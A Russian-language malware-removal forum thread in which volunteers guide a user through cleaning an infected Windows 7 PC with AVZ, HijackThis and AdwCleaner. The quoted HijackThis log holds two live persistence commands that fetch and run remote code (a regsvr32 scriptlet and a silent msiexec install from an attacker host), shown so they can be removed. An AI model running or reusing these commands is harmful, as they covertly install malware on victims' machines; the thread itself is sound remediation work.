bat/trojandownloader.ftp.nok trojan парализует виндоус через 3 минуты работы Работать возможно только в Safe mode

[Fineping]

bat/trojandownloader.ftp.nok trojan парализует виндоус через 3 минуты работы
Скан сделан в safe mode при нормальном старте зависает не успевая отсканироваться
Работать возможно только в Safe mode

[Info_bot]

Уважаемый(ая) Fineping, спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[Vvvyg]

Выполните скрипт в AVZ:

begin
 QuarantineFile('C:\Windows\debug\item.dat', '');
 DeleteFile('C:\Windows\debug\item.dat', '');
 DeleteFile('C:\Users\Nur\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Mail.Ru\Игровой центр Mail.Ru\Игровой центр Mail.Ru.lnk', '');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\start','command');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\start1','command');
ExecuteSysClean;
 ExecuteWizard('SCU', 2, 2, true);
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
RebootWindows(true);
end.

Компьютер перезагрузится.

В папке с AVZ появится архив карантина quarantine.zip, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

Обновлять систему нужно, долбят через ofrhsne. более 2-х лет уязвимость. Установите хотя бы это:
March, 2017 Security Only Quality Update for Windows 7 for x64-based Systems (KB4012212)
Затем новые логи сделайте.

[Fineping]

Карантин отправил

В обычном режиме также зависает спустя 3-5 минут

Поможет ли в данном случае переход на WIN 10??

И заразились ли другие файлы на остальных жестких дисках

[thyrex]

Сделайте лог TDSSkiller

[Fineping]

Сделайте лог TDSSkiller

Лог

Видна в норм режиме запустилась (пока все хорошо не виснет)
Также прикрепляю лог Автологера из норм режима

[Vvvyg]

Запустите HijackThis, расположенный в папке Autologger (в Windows Vista/7/8/10 необходимо запускать через правую кнопку мыши Запуск от имени администратора))и пофиксите только эти строки:

O4 - MSConfig\startupreg: GameCenterMailRu [command] = C:\Users\Nur\AppData\Local\Mail.Ru\GameCenter\[email protected] -autostart (HKCU) (2017/04/11) (file missing)
O4 - MSConfig\startupreg: start [command] = C:\Windows\system32\regsvr32.exe /u /s /i:http://js.1226bye.xyz:280/v.sct scrobj.dll (HKLM) (2019/04/20)
O4 - MSConfig\startupreg: start1 [command] = C:\Windows\system32\msiexec.exe /i http://js.1226bye.xyz:280/helloworld.msi /q (HKLM) (2019/04/20)

Сделайте лог Malwarebytes AdwCleaner.

Загрузите, распакуйте на Рабочий стол и запустите SecurityCheck by glax24 & Severnyj.
Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запуск от имени администратора (если Вы используете Windows Vista/7/8/10).
Если увидите предупреждение от фаервола относительно программы SecurityCheck, не блокируйте ее работу.
Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt;
Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt.

Приложите этот файл к своему следующему сообщению.

[Fineping]

Все началось вчера когда начал качать ПО для точки доступа чтобы через пк раздовать WIFI (после перезагрузки была еще одна учетка ADMIN$ удалил ее и комп вис)

Компьютер стал вести себя лучше уже

В норм режиме работает не виснет иногда постреливает ESET ругается на трояны

Но уже значительно лучше блин даже не думал что обращаюсь и вот так по инструкции реально починить ПК:Bye:

Прикрепляю отчеты

[Vvvyg]

Запустите повторно Malwarebytes AdwCleaner (в Windows Vista/7/8 необходимо запускать через правую кнопку мыши от имени администратора)), нажмите кнопку Сканировать (Scan), по окончании сканирования установите в пункте меню "Настройки" (Settings) дополнительно к установленным по умолчанию галочку "Сбросить политики Chrome (Reset Chrome Policies".
Затем нажмите Очистить (Cleaning) и по окончании удаления перезагрузите систему по требованию программы.

После входа в систему откроется отчёт AdwCleaner - файл AdwCleaner[C02].txt, прикрепите к своему следующему сообщению.

Internet Explorer 10.0.9200.16540 Внимание! Скачать обновления
^Онлайн установка. Последняя версия доступна при включенном обновлении Windows через интернет.^

Установите Internet Explorer 11, даже если им не пользуетесь, это критически важный для безопасности компонент Windows.

Контроль учётных записей пользователя отключен (Уровень 1)
^Рекомендуется включить уровень по умолчанию: Win+R ввести UserAccountControlSettings и Enter^

Рекомендую ознакомиться со статьёй Так ли страшен контроль учетных записей (UAC)? и включить.

------------------------------- [ HotFix ] --------------------------------
HotFix KB3115858 Внимание! Скачать обновления
HotFix KB3140735 Внимание! Скачать обновления
HotFix KB3138910 Внимание! Скачать обновления
HotFix KB3138962 Внимание! Скачать обновления
HotFix KB3145739 Внимание! Скачать обновления
HotFix KB3146963 Внимание! Скачать обновления
HotFix KB3156013 Внимание! Скачать обновления
HotFix KB3156016 Внимание! Скачать обновления
HotFix KB3156019 Внимание! Скачать обновления
HotFix KB3155178 Внимание! Скачать обновления
HotFix KB3153171 Внимание! Скачать обновления
HotFix KB3170455 Внимание! Скачать обновления
HotFix KB3178034 Внимание! Скачать обновления
HotFix KB3185911 Внимание! Скачать обновления
HotFix KB3184122 Внимание! Скачать обновления
HotFix KB3192391 Внимание! Скачать обновления
HotFix KB3197867 Внимание! Скачать обновления
HotFix KB3205394 Внимание! Скачать обновления
HotFix KB4019263 Внимание! Скачать обновления
HotFix KB4022722 Внимание! Скачать обновления
HotFix KB4015546 Внимание! Скачать обновления
HotFix KB4025337 Внимание! Скачать обновления
HotFix KB4034679 Внимание! Скачать обновления
HotFix KB4041678 Внимание! Скачать обновления

Устанавливайте, это только критические хотфиксы, по хорошему нужно обновлять систему автоматически.

WinRAR 5.00 (64-разрядная) v.5.00.0 Внимание! Скачать обновления

Архиваторы тоже используются в нехороших целях, обновляйте:
Дыра в WinRAR более 19 лет угрожала 500 миллионам пользователей.
Уязвимость в WinRAR активно эксплуатируется злоумышленниками.

Java 8 Update 101 v.8.0.1010.13 Внимание! Скачать обновления
^Удалите старую версию и установите новую (jre-8u152-windows-i586.exe)^

Обновите, или удалите, я сомневаюсь. что Java вообще нужна.

Adobe Flash Player 29 ActiveX v.29.0.0.140 Внимание! Скачать обновления
Adobe Flash Player 29 PPAPI v.29.0.0.171 Внимание! Скачать обновления

Обновите обязательно.

[Fineping]

Вроде работает хорошо пока глюков не наблюдается
Снес есет обновил винду
Поставил Avast


если есть еще предложения

А так все спасибо вообще как будто в войне победил

Ну не без вашей помощи конечно

Все ребята молодцы

прикладываю посл логи

[Vvvyg]

Я лог очистки Adwcleaner просил прикрепить, с буквой C, а не S в квадратных скобках.

Avast, на мой взгляд. хуже, чем Eset. Обновляйте систему и всякую фигню непонятную не запускайте, и всё будет хорошо.

[Fineping]

Сорри что пропал

В общем все хорошо стало очень благодарен

Eset убрал после его обновления стал BSOD ить

Потом винду обновил перестала загружаться счас откатил

Все хорошо стало здоровья вам успехов всех обнимаю

[Vvvyg]

Запустите AdwCleaner, меню Настройки - Удалить AdwCleaner - выберите Удалить.

[CyberHelper]

=D1=F2=E0=F2=E8=F1=F2=E8=EA=E0 =EF=F0=EE=E2=E5=E4=E5=ED=ED=EE=E3=EE =EB=
=E5=F7=E5=ED=E8=FF:

• =CF=EE=EB=F3=F7=E5=ED=EE =EA=E0=F0=E0=ED=F2=E8=ED=EE=E2: 1
• =CE=E1=F0=E0=E1=EE=F2=E0=ED=EE =F4=E0=E9=EB=EE=E2: 1
• =C2 =F5=EE=E4=E5 =EB=E5=F7=E5=ED=E8=FF =E2=F0=E5=E4=EE=ED=EE=F1=ED=FB=
  =E5 =EF=F0=EE=E3=F0=E0=EC=EC=FB =E2 =EA=E0=F0=E0=ED=F2=E8=ED=E0=F5 =ED=
  =E5 =EE=E1=ED=E0=F0=F3=E6=E5=ED=FB